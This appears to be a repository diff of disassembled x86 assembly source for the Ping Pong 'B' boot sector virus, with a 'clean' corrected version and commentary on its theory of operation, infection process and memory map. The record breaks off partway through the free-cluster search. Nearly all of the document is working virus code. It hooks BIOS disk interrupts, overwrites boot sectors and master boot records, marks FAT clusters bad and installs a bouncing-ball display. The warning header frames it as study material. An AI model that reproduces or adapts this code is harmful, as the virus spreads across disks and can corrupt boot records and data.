ADD AX,SYSTEM_SECTORS+OFS_ADJ ;Add # system use sectors to
|
||||
MOV SI,AX ; get DOS sector # on disk
|
||||
MOV BX,0 ;Read the boot record from sector 0
|
||||
CALL READ_SECTOR
|
||||
MOV BX,SI ;Write it out to disk, in the second
|
||||
INC BX ; sector of our "bad" cluster
|
||||
CALL WRITE_SECTOR
|
||||
CONT_POINT:
|
||||
MOV BX,SI ;SI has first sector of free cluster
|
||||
MOV PART2_SECTOR+OFS_ADJ,SI ;Save it
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,20H ;Adjust segment value so ES:8000 will
|
||||
MOV ES,AX ; be the same as CS:7E00h
|
||||
CALL WRITE_SECTOR ;Write part 2 of virus to disk
|
||||
PUSH CS
|
||||
POP AX
|
||||
SUB AX,40H ;Now adjust ES so an offset of 8000
|
||||
MOV ES,AX ; will point to CS:7C00h
|
||||
MOV BX,0 ;Write the first part of the virus
|
||||
CALL WRITE_SECTOR ; into the boot sector
|
||||
RET ;DISK IS NOW INFECTED!!!!
|
||||
|
||||
ORG 02B0H
|
||||
TICK_COUNT DW ?
|
||||
FAT_OFS_ADJ DB ?
|
||||
|
||||
INST_BALL: ;Install bouncing ball routine
|
||||
TEST Byte Ptr FLAGS+OFS_ADJ,00000010B ;Installed already?
|
||||
JNZ @@EXIT
|
||||
OR Byte Ptr FLAGS+OFS_ADJ,00000010B ;Set "installed" flag
|
||||
MOV AX,0
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT8_OFS ;Get vector for INT 8h
|
||||
MOV BX,INT8_SEG
|
||||
MOV INT8_OFS,OFFSET NEW_INT8+OFS_ADJ ;Set vector to point at
|
||||
MOV INT8_SEG,CS ; our routine.
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT8_PATCH+1+OFS_ADJ,AX ;Direcly patch original vecotr
|
||||
MOV INT8_PATCH+3+OFS_ADJ,BX ; contents into our code.
|
||||
@@EXIT:
|
||||
RET
|
||||
|
||||
NEW_INT8 LABEL FAR ;New INT 8 handler
|
||||
PUSH DS
|
||||
PUSH AX
|
||||
PUSH BX ;Save affected registers
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS
|
||||
POP DS
|
||||
MOV AH,0FH ;Get video mode, page, and # of columns
|
||||
INT 10H
|
||||
MOV BL,AL ;Move mode number into BL
|
||||
;If the video mode and page are the same as last time, then continue bouncing
|
||||
;the ball. Otherwise, reset the ball position and increment, and start anew.
|
||||
;Note: The active page number is in BH throughout this routine.
|
||||
CMP BX,VIDEO_PARAMS+OFS_ADJ ;Is mode and page same as last time?
|
||||
JE @@SAME_MODE
|
||||
MOV VIDEO_PARAMS,BX ;Save for futore reference (!!)
|
||||
DEC AH ;Subtract 1 from number of columns
|
||||
MOV SCRN_COLS+OFS_ADJ,AH ; onscreen and save it.
|
||||
MOV AH,1 ;Assume graphics mode.
|
||||
CMP BL,7 ;Mono text mode?
|
||||
JNE @@0
|
||||
DEC AH ;Set flag to 0 if so.
|
||||
@@0:
|
||||
CMP BL,4 ;Is mode number below 4? (ie. 0-3)
|
||||
JNB @@1
|
||||
DEC AH
|
||||
@@1:
|
||||
MOV GRAF_MODE+OFS_ADJ,AH ;Save flag value.
|
||||
MOV Word Ptr BALL_POS+OFS_ADJ,0101H ;Set XY position to 1,1
|
||||
MOV Word Ptr BALL_INC+OFS_ADJ,0101H ;Set XY increment to 1,1
|
||||
MOV AH,03H
|
||||
INT 10H ;Read cursor position into DX
|
||||
PUSH DX ; and save it on the stack.
|
||||
MOV DX,BALL_POS ;Get XY position of ball.
|
||||
JMP SHORT UPDATE_BALL_POS ;Change increment if needed.
|
||||
|
||||
@@SAME_MODE: ;Enter here if mode not changed.
|
||||
MOV AH,03H
|
||||
INT 10H ;Get cursor position into DX
|
||||
PUSH DX ; and save it.
|
||||
MOV AH,02
|
||||
MOV DX,BALL_POS+OFS_ADJ
|
||||
INT 10H ;Move to bouncing ball location.
|
||||
MOV AX,ORG_CHAR+OFS_ADJ ;Get original screen char & attribute.
|
||||
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1 ;Check for graphics mode/
|
||||
JNE @@3
|
||||
MOV AX,8307H ;If graphics mode, use CHR$(7)
|
||||
@@3: ;If not, then use original char
|
||||
MOV BL,AH ;Move color value into BL
|
||||
MOV CX,1 ;Write one character
|
||||
MOV AH,09H ; with attributes and all
|
||||
INT 10H ; into page in BH.
|
||||
|
||||
;The update routine will check for the ball's position on a screen border.
|
||||
;If it's on a border, then negate the increment for that direction.
|
||||
;(ie, if the ball was moving up, reverse it.) If the increment was not
|
||||
;changed, then "randomly" change the X or Y increment based on the lower
|
||||
;three bits of the previous screen character. This will make the ball
|
||||
;appear to bounce around "randomly" on a screen filled with characters.
|
||||
|
||||
;Note that the ineffecient instructions "XOR rr,0FFH" and "INC rr" can be
|
||||
;replaced by "NEG rr" (where rr is a register.) This will save 3 bytes
|
||||
;for every occurance.
|
||||
UPDATE_BALL_POS: ;Figure new ball position.
|
||||
MOV CX,BALL_INC+OFS_ADJ ;Get ball position increment.
|
||||
CMP DH,0 ;Is is on the top row of the screen?
|
||||
JNZ @@0
|
||||
XOR CH,0FFH ;Make a ones-complement of the value,
|
||||
INC CH ; then add 1 to make a twos-comp.
|
||||
@@0:
|
||||
CMP DH,24 ;Reached bottom edge?
|
||||
JNZ @@1
|
||||
XOR CH,0FFH ;See above!
|
||||
INC CH
|
||||
@@1:
|
||||
CMP DL,0 ;Reached left edge?
|
||||
JNZ @@2
|
||||
XOR CL,0FFH ;See above!
|
||||
INC CL
|
||||
@@2:
|
||||
CMP DL,SCRN_COLS+OFS_ADJ ;Reached right edge?
|
||||
JNZ @@3
|
||||
XOR CL,0FFH ;Should be familar by now!
|
||||
INC CL
|
||||
@@3:
|
||||
CMP CX,BALL_INC+OFS_ADJ ;Is the increment the same as before?
|
||||
JNE CALC_NEW_POS ;If not, apply the modified increment.
|
||||
MOV AX,ORG_CHAR+OFS_ADJ ;Do "ramdom" updating, as described
|
||||
AND AL,00000111B ; in the note above.
|
||||
CMP AL,00000011B
|
||||
JNE @@4
|
||||
XOR CH,0FFH ;Reverse Y direction.
|
||||
INC CH
|
||||
@@4:
|
||||
CMP AL,00000101B
|
||||
JNE CALC_NEW_POS
|
||||
XOR CL,0FFH ;Reverse X direction.
|
||||
INC CL
|
||||
|
||||
CALC_NEW_POS:
|
||||
ADD DL,CL ;Add increments to ball position.
|
||||
ADD DH,CH
|
||||
MOV BALL_INC+OFS_ADJ,CX ;Save ball position increment and
|
||||
MOV BALL_POS+OFS_ADJ,DX ; new ball position.
|
||||
MOV AH,02H ;Move to ball position, which is
|
||||
INT 10H ; in register DX.
|
||||
MOV AH,08H ;Read the present screen char and
|
||||
INT 10H ; attribute.
|
||||
MOV ORG_CHAR+OFS_ADJ,AX ;Save them for next time.
|
||||
MOV BL,AH ;Use same attribute, if in text mode
|
||||
CMP Byte Ptr GRAF_MODE+OFS_ADJ,1
|
||||
JNE @@0
|
||||
MOV BL,83H ;Otherwise, use color # 83H
|
||||
@@0:
|
||||
MOV CX,0001H ;Write one character and attribute
|
||||
MOV AX,0907H ; using CHR$(7) as the character.
|
||||
INT 10H
|
||||
POP DX ;Get old cursor position.
|
||||
MOV AH,02H ;Move cursor back to that position.
|
||||
INT 10H
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore affected registers.
|
||||
POP AX
|
||||
POP DS
|
||||
INT8_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 8h handler.
|
||||
|
||||
ORG_CHAR DW ? ;Original screen character and attribute.
|
||||
BALL_POS DW ? ;Bouncing ball's XY position.
|
||||
BALL_INC DW ? ;Ball's XY increment
|
||||
GRAF_MODE DB ? ;1 = graphics mode, otherwise it's a text mode.
|
||||
VIDEO_PARAMS DW ? ;Mode number and page number.
|
||||
SCRN_COLS DB ? ;Number of screen columns minus 1
|
||||
|
||||
VIRUS_LENGTH EQU $-START_HERE
|
||||
DB 1024-VIRUS_LENGTH DUP (0) ;Pad out to 1024 bytes.
|
||||
|
||||
;******************** End of virus code! **************************************
|
||||
|
||||
ORG 0400H ;Work area for the virus
|
||||
SECTOR_BUFFER LABEL NEAR ;This is a sector buffer!!
|
||||
_JMP_INST DW ?
|
||||
_NOP_INST DB ?
|
||||
|
||||
_OEM_ID DB 8 DUP(?)
|
||||
_BYTES_PER_SEC DW ?
|
||||
_SEC_PER_CLU DB ?
|
||||
_RES_SECTORS DW ?
|
||||
_FAT_COPIES DB ?
|
||||
_DIR_ENTRIES DW ? ;This is the BPB of the target
|
||||
_TOTAL_SECTORS DW ? ; disk during infection.
|
||||
_MEDIA_DESCRIP DB ?
|
||||
_SEC_PER_FAT DW ?
|
||||
_SEC_PER_TRK DW ?
|
||||
_SIDES_ON_DISK DW ?
|
||||
_HIDDEN_SECTORS DW ?
|
||||
|
||||
ORG 05BEH
|
||||
PARTITION_TABLE LABEL NEAR
|
||||
|
||||
ORG 05F3H
|
||||
_CUR_FAT_SECTOR DW ?
|
||||
_SYSTEM_SECTORS DW ?
|
||||
_FLAGS DB ?
|
||||
_DRIVE DB ?
|
||||
_PART2_SECTOR DW ?
|
||||
_CONTINUATION DB ?
|
||||
ORG 05FCH
|
||||
_VIRUS_SIG DW ?
|
||||
_BIOS_SIG DW ? ;Should always be 0AA55h
|
||||
VIRUS ENDS
|
||||
END
|
||||
|
||||
;Disassembled by James L. July 1991
|
||||
;# EOF #;
|
|
@ -0,0 +1,730 @@
|
|||
TITLE PINGB-C.ASM - Ping Pong "B" virus assembly source code (CLEAN VERSION)
|
||||
|
||||
COMMENT # Read the following carefully:
|
||||
|
||||
THIS FILE IS INTENDED FOR EXAMINATION ONLY.
|
||||
|
||||
WARNING: DO *NOT* RUN THE RESULTING COM OR EXE FILE!!!!!!!!!
|
||||
This virus, when assembled, is (almost) harmless if left in a file.
|
||||
At best, the code will overwrite part of DOS and hang your machine.
|
||||
At worst, it could wipe out the Boot record of A: or the master boot
|
||||
record of your hard disk. Since the virus MUST be loaded from a boot
|
||||
sector to function properly, running the code from DOS will definitely
|
||||
cause problems.
|
||||
|
||||
DISCLAIMER: The author will NOT be held responsible for any damages
|
||||
caused by careless use of the information presented here.
|
||||
|
||||
NOTE: This is the "clean" copy of the Ping Pong B virus. It "corrects"
|
||||
the coding quirks listed below.
|
||||
|
||||
|
||||
THEORY OF OPERATION:
|
||||
|
||||
1) A disk with the virus is booted.
|
||||
2) The BIOS memory count is decreased by 2k, to prevent DOS from
|
||||
overwriting the virus, and relocates itself to the reserved space.
|
||||
3) Part II of the virus is read into RAM just after part I.
|
||||
4) The original boot sector is read to 0000:7C00.
|
||||
5) Virus gets and saves the address of INT 13h, the BIOS disk service
|
||||
interrupt routine, then hooks its own routine in place.
|
||||
6) The virus jumps to 0000:7C00, load DOS if possible.
|
||||
|
||||
|
||||
INFECTION PROCESS:
|
||||
|
||||
1) A BIOS read request is preformed on the target disk.
|
||||
2) If the drive is different from the last drive that was read from, then
|
||||
attempt infection immediately. Otherwise, check the BIOS clock tick
|
||||
count to see if it's time to activate the bouncing ball routine.
|
||||
3) Read very first sector of the disk. If it's a hard disk, then search
|
||||
for a DOS-12 or DOS-16 partition, and if found, read the first sector
|
||||
of THAT partition. We now have the "normal" boot record of the target
|
||||
disk in the sector buffer.
|
||||
4) Copy the BPB from the boot record to the virus code space.
|
||||
5) Check virus' signature in the boot record to see if infected before.
|
||||
Check disk structure; virus needs 512 byte sectors, and at least 2 sectors
|
||||
per cluster to infect the disk.
|
||||
6) Calculate number of system use sectors, data sectors, and maximum cluster
|
||||
number.
|
||||
7) Starting with the first sector of the FAT, search for a free cluster.
|
||||
If none found, then don't infect the disk.
|
||||
8) The first free cluster is flagged as bad, and the FAT is updated. Note
|
||||
that only the first copy of the FAT will be modified.
|
||||
9) The original boot sector is re-read and written to the second sector of
|
||||
the virus' cluster. Part II of the virus is written to the first sector.
|
||||
Part I is written to sector 0, replacing the original boot record.
|
||||
|
||||
|
||||
INFECTION RESTRICTIONS:
|
||||
|
||||
0) The virus cannot infect a write-protected disk (obvious, isn't it?)
|
||||
1) The virus will not infect a non-DOS bootable hard disk.
|
||||
2) The virus will only infect a disk with 512 byte sectors, and at least two
|
||||
sectors per cluster. This rules out 1.44M and 1.2M disks, among others.
|
||||
3) The virus will not infect a disk with no free space (from DOS's view).
|
||||
|
||||
|
||||
CODING QUIRKS: (All have been corrected!!)
|
||||
|
||||
1) The virus uses a "MOV CS,AX" instruction to continue execution after
|
||||
relocating itself to higher memory (see MEMORY MAP, below). This should
|
||||
not work on a 286 or 386 system (the author has not tried it!).
|
||||
2) The virus uses several "MOV rr,0" instructions (where rr is a 16-bit
|
||||
register). It could be replaced by "XOR rr,0" to save a byte.
|
||||
3) The virus uses "XOR rr,0FFH" and "INC rr" to negate a value (by first
|
||||
computing the ones complement, then adding one to get the twos
|
||||
complement.) This could be replaced by "NEG rr" to save three bytes.
|
||||
4) The use of OFS_ADJ (see below for computation) is needed to let me use
|
||||
an ORG of 0 when assembling the file. I could've used ORG 07C00h, but
|
||||
that would create a file about 32k in size on assembling. Instead, I
|
||||
chose to add this offset manually to force correct address generation.
|
||||
|
||||
|
||||
MEMORY MAP: (Adjusted for "clean" version!!)
|
||||
|
||||
The virus will relocate itself 2k below the top of memory. The virus
|
||||
itself is 1024 bytes, and uses a 512 byte buffer when infecting other
|
||||
disks. In all, the virus uses 1.5k of memory that is 512 bytes below
|
||||
the BIOS top of memory count. For a 640k machine the map becomes:
|
||||
|
||||
640.0k (9F80:0800, which is A000:0000) ==> Top of memory
|
||||
639.5k (9F80:0600 to 9F80:07FF) ==> Unused
|
||||
639.0k (9F80:0400 to 9F80:05FF) ==> Buffer used by virus
|
||||
638.5k (9F80:0200 to 9F80:03FF) ==> 2nd part of virus code
|
||||
638.0k (9F80:0000 to 9F80:01FF) ==> Main part of Ping Pong virus
|
||||
|
||||
# End of comment
|
||||
|
||||
|
||||
LOCALS
|
||||
|
||||
PROGRAM_ASSEMBLY_OFS EQU 0000H
|
||||
BOOT_SECTOR_LOAD_OFS EQU 7C00H
|
||||
|
||||
LOW_MEM_DATA SEGMENT AT 0H ;Bottom of memory space
|
||||
ORG 0H ;Interrupt vector space
|
||||
DUMMY_ADDRESS LABEL FAR ;Dummy address used for patching
|
||||
|
||||
ORG 0020H
|
||||
INT8_OFS DW ? ;INT 8h vector offset & segment
|
||||
INT8_SEG DW ?
|
||||
|
||||
ORG 004CH
|
||||
INT13_OFS DW ? ;INT 13h vector offset & segment
|
||||
INT13_SEG DW ?
|
||||
|
||||
ORG 0413H ;BIOS data area
|
||||
KB_MEM DW ? ;K bytes of RAM in machine
|
||||
|
||||
ORG 7C00H ;Jump here to load O/S
|
||||
BOOT_SECTOR_EXEC LABEL FAR
|
||||
|
||||
LOW_MEM_DATA ENDS
|
||||
|
||||
VIRUS SEGMENT
|
||||
ASSUME CS:VIRUS,DS:NOTHING,ES:NOTHING
|
||||
ORG 0H
|
||||
|
||||
START_HERE:
|
||||
JMP SHORT CODE_START ;Force a two byte relative JuMp
|
||||
NOP_INST:
|
||||
NOP
|
||||
OEM_ID DB 'PingPong' ;Must be eight characters long!
|
||||
BYTES_PER_SEC DW 512
|
||||
SEC_PER_CLU DB 2
|
||||
RES_SECTORS DW 1
|
||||
FAT_COPIES DB 2
|
||||
DIR_ENTRIES DW 112 ;This is a standard
|
||||
TOTAL_SECTORS DW 720 ; BIOS Parameter Block!
|
||||
MEDIA_DESCRIP DB 0FDH
|
||||
SEC_PER_FAT DW 2
|
||||
SEC_PER_TRK DW 9
|
||||
SIDES_ON_DISK DW 2
|
||||
HIDDEN_SECTORS DW 0
|
||||
|
||||
ORG 001EH ;Must ORGinate at offset 1Eh
|
||||
CODE_START:
|
||||
XOR AX,AX
|
||||
MOV SS,AX ;Set up stack pointer
|
||||
MOV SP,BOOT_SECTOR_LOAD_OFS
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,KB_MEM ;Get BIOS's count of available memory
|
||||
SUB AX,2 ;Reserve 2k for virus's use
|
||||
MOV KB_MEM,AX ;Save updated memory Kbyte count
|
||||
|
||||
;Shifting the memory Kbyte count left by 6 bits will yield the equivalent
|
||||
;paragraph count. The result is the target segment value for relocation.
|
||||
;For a 640k machine (numbers in parenthesis are decimal equivalents)
|
||||
; Original BIOS memory count: 280h ( 640) Kbytes
|
||||
; After virus subtracts 2k : 27Eh ( 638) Kbytes
|
||||
; Shifting left by 6 bits : 9F80h (40832) segment value
|
||||
MOV CL,06
|
||||
SHL AX,CL ;This is same as multiplying by 64
|
||||
MOV ES,AX ;Use result as segment value
|
||||
MOV SI,BOOT_SECTOR_LOAD_OFS
|
||||
XOR DI,DI ;Set up index regisetrs for move
|
||||
MOV CX,256
|
||||
REP MOVSW ;Copy 256 words (ie 512 bytes)
|
||||
MOV Word Ptr CS:CONT_ADDR+7C02H,AX ;Patch JUmP instruction.
|
||||
JMP CS:CONT_ADDR ;JUMP far into higher memory
|
||||
CONT_ADDR LABEL DWORD
|
||||
DW VIRUS_CONT
|
||||
DW ?
|
||||
|
||||
VIRUS_CONT LABEL FAR ;Continuation address after move
|
||||
PUSH CS
|
||||
POP DS ;Set up DS register
|
||||
ASSUME ES:VIRUS,DS:VIRUS
|
||||
CALL @@LOAD_PART_2 ;try two times to load part 2
|
||||
@@LOAD_PART_2:
|
||||
XOR AH,AH
|
||||
INT 13H ;Reset disk subsystem
|
||||
AND Byte Ptr DRIVE,080H ;Force drive number to either A: or C:
|
||||
MOV BX,PART2_SECTOR
|
||||
|
||||
;The sector read/write routine always uses a fixed offset of 0400h; so to get
|
||||
;the data into the right place, the segment registers are adjusted instead.
|
||||
;We want to load part 2 of the virus just after part 1, so the offset normally
|
||||
;would be 0200h (ie, 0000h+0200h). However, since the offset MUST be 0400h,
|
||||
;we will change ES to be 0200h BYTES lower then it normally would be.
|
||||
;Segment registers are in paragraphs, so to subtract 0200h BYTES from ES
|
||||
;only subtract 0020h.
|
||||
;This gives us a effective offset calculation of 0400h - (20h * 10h) = 0200h
|
||||
PUSH CS
|
||||
POP AX ;See note above!!
|
||||
SUB AX,20H
|
||||
MOV ES,AX ;Move result into ES for read routine
|
||||
|
||||
CALL READ_SECTOR
|
||||
MOV BX,PART2_SECTOR ;Sector after part 2 of the virus is
|
||||
INC BX ; the original boot record of the disk
|
||||
MOV AX,0780H ;Address calculation for sector read:
|
||||
MOV ES,AX ; 0400h + (0780h * 10h) = 07C00h
|
||||
CALL READ_SECTOR ;Seperate segment and offset, and
|
||||
XOR AX,AX ; you get 0000:7C00.
|
||||
MOV FLAGS,AL ;Clear all flags.
|
||||
MOV DS,AX
|
||||
ASSUME DS:LOW_MEM_DATA
|
||||
MOV AX,INT13_OFS
|
||||
MOV BX,INT13_SEG
|
||||
MOV Word Ptr INT13_OFS,OFFSET NEW_INT13
|
||||
MOV INT13_SEG,CS
|
||||
PUSH CS
|
||||
POP DS
|
||||
ASSUME DS:VIRUS
|
||||
MOV INT13_PATCH+1,AX ;Save original INT 13h vector
|
||||
MOV INT13_PATCH+3,BX ; directly into instruction stream.
|
||||
MOV DL,DRIVE
|
||||
JMP BOOT_SECTOR_EXEC ;Load the O/S as normal
|
||||
|
||||
;***************************************
|
||||
WRITE_SECTOR:
|
||||
MOV AX,0301H
|
||||
JMP SHORT VIRUS_DISK_SERV
|
||||
READ_SECTOR:
|
||||
MOV AX,0201H
|
||||
VIRUS_DISK_SERV: ;Command is in AX, DOS sector # in BX
|
||||
XCHG AX,BX ;Swap command code and sector number
|
||||
|
||||
;Now calculate the physical location of the sector number. DOS sectors are
|
||||
;sequential, while the BIOS uses track, head, and sector numbers.
|
||||
;Method:
|
||||
; Starting with: AX=DOS sector #
|
||||
; Dividing by sectors/track: AX=Sides*Tracks DL=BIOS sector# (after adding 1)
|
||||
; Move sector number (in DL) to CH for later processing
|
||||
; Dividing by sides on disk: AX=Track number DL=Head (Side) number
|
||||
; Since the track # may be more than 255, we will combine the lower
|
||||
; two bits in AH with the sector number in CH. First shift it left
|
||||
; by 6 bits, to get it in the form tt000000, then OR it with CH.
|
||||
; AX now has the following format (high to low bit seq.): TTssssss tttttttt
|
||||
; ("t" is lower 8 bits of track#, "T" is high order 2 bits of track#,
|
||||
; and "s" is bits of sector number. )
|
||||
; Now copy AX into CX, and reverse the two halves of CX. Now the track
|
||||
; and sector numbers are in their correct locations. (Bits: tttttttt TTssssss)
|
||||
; The side number is still in DL, so copy it into DH for the BIOS.
|
||||
|
||||
ADD AX,HIDDEN_SECTORS ;Add number of hidden sectors
|
||||
XOR DX,DX ; (Clear high word for 32 bit division)
|
||||
DIV SEC_PER_TRK ;Divide by sectors/track to get
|
||||
INC DL ; sector number in DX.
|
||||
MOV CH,DL
|
||||
XOR DX,DX
|
||||
DIV SIDES_ON_DISK ;Divide what's left in AX by
|
||||
MOV CL,06 ; # of sides to get a track number
|
||||
SHL AH,CL ; in AX and the head number in DX.
|
||||
OR AH,CH ;Do some bit shuffling to get the
|
||||
MOV CX,AX ; pieces in order...
|
||||
XCHG CH,CL
|
||||
MOV DH,DL ; and we're done! (whew!)
|
||||
|
||||
MOV AX,BX ;Move command code back into AX
|
||||
DISK_SERVICE:
|
||||
MOV DL,DRIVE
|
||||
MOV BX,0400H ;Offset is fixed. (See notes above)
|
||||
INT 13H
|
||||
JNC @@NO_ERR ;If successful, then return to caller normally
|
||||
POP AX ;Otherwise, remove caller's return address
|
||||
@@NO_ERR: ; and return one lever higher than should.
|
||||
RET
|
||||
|
||||
NEW_INT13 LABEL FAR ;New INT 13h handler
|
||||
PUSH DS
|
||||
PUSH ES
|
||||
PUSH AX
|
||||
PUSH BX ;Save registers on stack
|
||||
PUSH CX
|
||||
PUSH DX
|
||||
|
||||
PUSH CS ;Establish our data segment registers
|
||||
POP DS
|
||||
PUSH CS
|
||||
POP ES
|
||||
ASSUME DS:VIRUS,ES:VIRUS
|
||||
TEST Byte Ptr FLAGS,00000001B ;Was this INT invoked before?
|
||||
JNZ @@END ;If so, ignore this call
|
||||
CMP AH,02 ;Intercept read requests only
|
||||
JNE @@END
|
||||
CMP DRIVE,DL ;Check drive number...
|
||||
MOV DRIVE,DL ; (also save it for next time)
|
||||
JNZ @@INFECT ;...if not the same, infect immediately
|
||||
XOR AH,AH
|
||||
INT 1AH ;Get clock tick count
|
||||
TEST DH,07FH ;Is it the right time to activate
|
||||
JNZ @@UPDATE_TICKS ; the bouncing ball display?
|
||||
TEST DL,0F0H
|
||||
JNZ @@UPDATE_TICKS
|
||||
PUSH DX ;Preserve clock tick count
|
||||
CALL INST_BALL ;Install the bouncing ball routine,
|
||||
POP DX ; if not established already.
|
||||
@@UPDATE_TICKS:
|
||||
MOV CX,DX ;Find elapsed time since last call
|
||||
SUB DX,TICK_COUNT ; to this routine. Also save tick
|
||||
MOV TICK_COUNT,CX ; count for next time.
|
||||
SUB DX,36 ;If less than 2 seconds have passed,
|
||||
JB @@END ; don't infect the disk.
|
||||
@@INFECT:
|
||||
OR Byte Ptr FLAGS,00000001B ;Set busy flag for INT 13h
|
||||
PUSH SI
|
||||
PUSH DI
|
||||
CALL INFECT_A_DISK ;Attempt to infect target disk
|
||||
POP DI
|
||||
POP SI
|
||||
AND Byte Ptr FLAGS,11111110B ;Clear busy flag.
|
||||
@@END:
|
||||
POP DX
|
||||
POP CX
|
||||
POP BX ;Restore caller's registers
|
||||
POP AX
|
||||
POP ES
|
||||
POP DS
|
||||
INT13_PATCH LABEL WORD
|
||||
JMP DUMMY_ADDRESS ;Continue with original INT 13h handler
|
||||
|
||||
INFECT_A_DISK:
|
||||
MOV AX,0201H ;Read one sector...
|
||||
MOV DH,0
|
||||
MOV CX,0001H ;...the first sector of a disk.
|
||||
CALL DISK_SERVICE
|
||||
|
||||
;At this point, the sector we just read could be a normal boot record,
|
||||
;or the partition table of a hard disk. If it's a boot record from a floppy,
|
||||
;then proceed to infect it. Otherwise, we have to find the DOS partition
|
||||
;of the hard disk and read the boot sector from that partition. We search
|
||||
;the partition for a DOS-12 or DOS-16 entry, then, using the beginning
|
||||
;drive/side/track/sector information, we read the first sector of the
|
||||
;partition. That sector will be the required boot record, which we will
|
||||
;prodeed to process.
|
||||
TEST Byte Ptr DRIVE,80H ;Is the disk a Winchester?
|
||||
JZ @@FLOPPY ;If so, then we got a partition table.
|
||||
MOV SI,OFFSET PARTITION_TABLE
|
||||
MOV CX,4
|
||||
@@LP: ;Check O/S identification byte:
|
||||
CMP Byte Ptr [SI+4],01 ; Is it a DOS-12 partition?
|
||||
JE @@FOUND ; if so, then continue with infection.
|
||||
CMP Byte Ptr [SI+4],04 ; Check for a DOS-16 partition.
|
||||
JE @@FOUND
|
||||
ADD SI,16 ;Not this one, go to next partition
|
||||
LOOP @@LP
|
||||
RET ;No suitable DOS partitions found, so exit.
|
||||
@@FOUND:
|
||||
MOV DX,[SI] ;Get drive number and side
|
||||
MOV CX,[SI+2] ;Get track and sector numbers
|
||||
MOV AX,0201H ;Read one sector...
|
||||
CALL DISK_SERVICE
|
||||
|
||||
@@FLOPPY: ;A DOS boot record is at CS:0400
|
||||
MOV SI,OFFSET _NOP_INST ;Copy BPB to virus' code
|
||||
MOV DI,OFFSET NOP_INST ; space at ES:0000h
|
||||
MOV CX,001CH
|
||||
REP MOVSB
|
||||
CMP Word Ptr _VIRUS_SIG,01357H ;Check virus' signature
|
||||
JNE @@INFECT ;Infect if not the same
|
||||
|
||||
;It is not known what the following code does; it seems to soem sort of
|
||||
;error recovery procedure, in case the first attempt at infection failed.
|
||||
CMP Byte Ptr _CONTINUATION,0
|
||||
JNB @@EXIT
|
||||
MOV AX,_SYSTEM_SECTORS
|
||||
MOV SYSTEM_SECTORS,AX
|
||||
MOV SI,_PART2_SECTOR
|
||||
JMP CONT_POINT
|
||||
@@EXIT:
|
||||
RET ;Exit now; cannot infect this disk
|
||||
|
||||
@@INFECT:
|
||||
CMP Word Ptr _BYTES_PER_SEC,512 ;512 byte sectors only!
|
||||
JNZ @@EXIT
|
||||
CMP Byte Ptr _SEC_PER_CLU,2 ;At lease 2 sectors per cluster
|
||||
JB @@EXIT
|
||||
|
||||
;The virus now computes the number of system use sectors and number of data
|
||||
;sectors. System use sectors include the Boot Record, FAT copies, root
|
||||
;directory, and any otherwise reserved sectors. What's left is the number
|
||||
;of data sectors.
|
||||
MOV CX,_RES_SECTORS ;Get # of reserved sectors
|
||||
MOV AL,_FAT_COPIES ;Get # of FAT copies
|
||||
CBW ;Convert to word in AX
|
||||
MUL Word Ptr _SEC_PER_FAT ;Multiply by sectors/FAT
|
||||
ADD CX,AX ;Add result to # reserved sec.
|
||||
|
||||
MOV AX,32 ;Each dir entry is 32 bytes
|
||||
MUL Word Ptr _DIR_ENTRIES ;Get size of root dir in bytes
|
||||
ADD AX,511 ;Round up when dividing...
|
||||
MOV BX,512 ;Divide by 512 to get # sectors
|
||||
DIV BX ; the root directory takes.
|
||||
ADD CX,AX ;Add to # reserved sectors
|
||||
MOV SYSTEM_SECTORS,CX ;(Overflow & remainder ignored)
|
||||
|
||||
;The virus now calculates the number of data sectors and clusters.
|
||||
;If there are more than 4080 clusters, then assume we're using a 16 bit FAT.
|
||||
MOV AX,TOTAL_SECTORS ;Get total # of sectors on disk
|
||||
SUB AX,SYSTEM_SECTORS ;Subtract # of system sectors
|
||||
MOV BL,SEC_PER_CLU ;Get # of sectors in a cluster
|
||||
XOR DX,DX ;Clear high order word...
|
||||
XOR BH,BH ; and byte for division
|
||||
DIV BX ;Divide, to get # of clusters
|
||||
INC AX ;Round up by one
|
||||
MOV DI,AX ;Save for "find free" routine
|
||||
AND Byte Ptr FLAGS,11111011B ;Clear "16 bit FAT" flag.
|
||||
CMP AX,0FF0H ;Is # of clusters too high?
|
||||
JBE @@1
|
||||
OR Byte Ptr FLAGS,00000100B ;If so, set flag for 16 bit FAT
|
||||
@@1:
|
||||
JMP SHORT VIRUS_PART2_CONT ;JUMP to part II
|
||||
|
||||
ORG 01F3H
|
||||
CUR_FAT_SECTOR DW ? ;Current FAT sector number; used during infection
|
||||
SYSTEM_SECTORS DW ? ;Total number of reserved, FAT, and root DIR sectors
|
||||
FLAGS DB ? ;Bit mapped flags
|
||||
DRIVE DB ? ;Current drive number
|
||||
PART2_SECTOR DW ? ;DOS sector number of 2nd part of virus
|
||||
CONTUATION DB ? ;??? Continuation flag???
|
||||
ORG 01FCH
|
||||
VIRUS_SIG DW 01357H ;Virus' signature
|
||||
BIOS_SIG DW 0AA55H ;Required signature of all boot sectors
|
||||
|
||||
|
||||
;*************** Second sector of virus code starts here! ******************;
|
||||
|
||||
ORG 0200H
|
||||
VIRUS_PART2_CONT:
|
||||
|
||||
;Now the search for a free cluster begins.
|
||||
MOV SI,1 ;Counter of now many FAT sectors searched
|
||||
MOV BX,RES_SECTORS ;Start with 1st FAT sector
|
||||
DEC BX ;Sub 1, because we add 1 later
|
||||
MOV CUR_FAT_SECTOR,BX
|
||||
MOV Byte Ptr FAT_OFS_ADJ,-2 ;Set "cluster overhead"
|
||||
|
||||
;Note: DI has maximum cluster number, and SI has current cluster number.
|
||||
@@NEXT_SECTOR:
|
||||
INC Word Ptr CUR_FAT_SECTOR ;Add one to FAT sector #
|
||||
MOV BX,CUR_FAT_SECTOR
|
||||
ADD Byte Ptr FAT_OFS_ADJ,2
|
||||
CALL READ_SECTOR ;Read the FAT sector
|
||||
JMP SHORT @@CHECK ;Check for end of search
|
||||
@@FIND_FREE:
|
||||
